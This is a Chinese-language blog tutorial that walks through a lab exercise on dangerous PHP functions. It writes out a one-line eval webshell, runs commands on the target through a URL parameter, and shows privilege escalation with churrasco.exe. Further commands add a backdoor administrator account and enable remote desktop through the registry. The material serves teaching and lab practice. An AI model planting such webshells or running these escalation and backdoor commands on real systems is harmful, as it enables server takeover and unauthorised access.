PHP代码审计-PHP危险函数及特殊函数

本文介绍了PHP代码审计的基础,强调了像eval()和system()这样的危险函数在Web开发中的安全隐患。通过实例演示了如何利用这些函数进行系统命令执行,以及提权操作,提醒开发者注意代码安全,避免SQL注入和权限滥用。

PHP代码审计基础

文章目录

前言

任务场景:

任务分析:

预备知识:

任务实施:

环境说明:

第一步:访问靶机网页

第二步:调用函数

第三步:eval函数

第五步:system();函数

总结



前言

提示:这里可以添加本文要记录的大概内容:

例如:随着人工智能的不断发展,机器学习这门技术也越来越重要,很多人都开启了学习机器学习,本文就介绍了机器学习的基础内容。


任务场景:

【任务场景】

小王想学习Web渗透,但对SQL注入等漏洞一窍不通。老师告诉他,想要掌握Web渗透,就一定要熟悉在网站开发过程中常见的危险函数。

任务分析:

【任务分析】

本次我们将讲述在PHP中常见的危险函数及特殊函数。这些零散、非体系的知识点需要牢牢记住,在大多数Web渗透测试中,将被广泛运用。

预备知识:

【预备知识】

在PHP中有一些非常危险且在编程中使用频率较低的函数。比如 eval() 函数可以把字符串作为PHP代码执行,  chmod() 函数可以改变文件及文件夹的权限。这些函数如果使用不当可能会对服务器的安全造成很严重的影响。恶意利用者很有可能会利用这些函数实现SQL注入、越权等操作,在不是必须要使用这些函数的情况下应该直接禁止这些函数。比如常见的一句话木马 “<?php @eval($_POST[value]);?>” 如果不禁用 eval() 函数,恶意利用者就可以通过一句话木马进行提权,危害极大。

任务实施:

环境说明:

攻击机:kali2022-0520(kali Linux) ip:172.16.5.105

靶    机:win03-2-1(Windows 2003)ip:172.16.5.148

客户端:win7-1-1 (windows7)   ip:172.16.5.149

第一步:访问靶机网页

使用攻击机Kali Linux中的浏览器,访问靶机网站Windows2003的board目录

进入PHP代码的调试页面,我们可以在此页面执行指定的PHP命令 

第二步:调用函数

首先是phpinfo()函数,phpinfo()函数用于输出 PHP 环境、Web 环境以及相关模块等信息

 在PHP Info中,我们能看到许多关于PHP的运行信息,

这里为大家推举一些:

获取当前Web服务所在的目录

 获取到当前PHP服务所使用的用户

 

获取PHP配置文件php.ini的所在位置

allow_url_fopen 和  allow_url_include

这两个参数经常被文件包含漏洞所利用,如果这两项开启,可能会导致文件包含漏洞产生

第三步:eval函数

在左侧代码调试框中输入:eval(phpinfo());

 eval()函数可以执行PHP命令。通常在写入一句话木马时使用

再次输入eval($_GET[‘cmd’]);

这一段的意思是将$_GET[‘cmd’]上传到靶机的Web服务 ,代表可以以“cmd”为密码,在URL中传入字符串

然后我们访问网站的/board/show.php,也就是靶机的Web服务所在的目录

(注:这个/board/show.php路径是在phpinfo中找到的,上面有讲)

 接下来我们通过URL来执行PHP命令phpinfo();

http://172.16.5.148/board/show.php?cmd=phpinfo();

在这里我们再讲一下assert()这个函数,assert()的作用与eval()基本相同,都是用来执行PHP命令。eval()可以将字符串解析为PHP命令,而assert()内必须是PHP语句,不能是字符串。

第五步:system();函数

输入system('whoami');

通过system()函数,我们可以直接执行系统命令。这里我们执行了“whoami”,获得返回至“nt authority\network server”,即:当前Web服务使用“network service”用户启动,该用户属于“nt authority”组

system()函数可以和eval()函数相配合,达到系统命令执行的效果

比如:

 除了system()函数,还有三个与之相近的函数:

1.exec()

不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。

2.passthru()

只调用命令,把命令的运行结果原样地直接输出到标准输出设备上

 3.shell_exec()

shell_exec() 是PHP中的一个内置函数,用于通过shell执行命令并以字符串的形式返回完整的输出。

 第六步:实战案例复现

现在我们尝试使用eval函数,配合“中国菜刀”取得靶机的完全控制权。

(1)在调试栏写入一个一句话木马:<?php @eval($_POST[‘cmd’]); ?>

( 2)点击“执行”以后,这条语句就被写入到了/board/show.php:

然后我们再客户端找到中国菜刀和提权工具churrasco.exe。

(3)打开中国菜刀,在主界面右键-添加shell:

 

 (4)进入虚拟终端:

再终端中使用whoami命令可以看到我们的账户权限较低

(5)提权:

返回主界面,在一句话木马处右键打开文件管理

将本地的churrasco.exe拖入到网站根目录C:\AppServ\www中

 (6)回到终端,切换到C:\AppServ\www路径上,尝试运行提权文件

 (7)创建账户,并添加到管理员组里

churrasco.exe "net user hacker 123456 /add"      //创建账户hacker,密码123456

churrasco.exe "net localgroup administrators hacker /add"     \\将hacker设置为管理员组成员

 (8)开启远程桌面

修改注册表内容

churrasco.exe "REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal""" """Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f"

远程连接靶机

 

 

 

 


 

总结

本次主要讲述的正是这些了,关于一些PHP危险函数以及提权的操作,其中phpinfo中的参数也是需要专研的这次就先简单的讲一点

需要测试环境的可以联系我

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值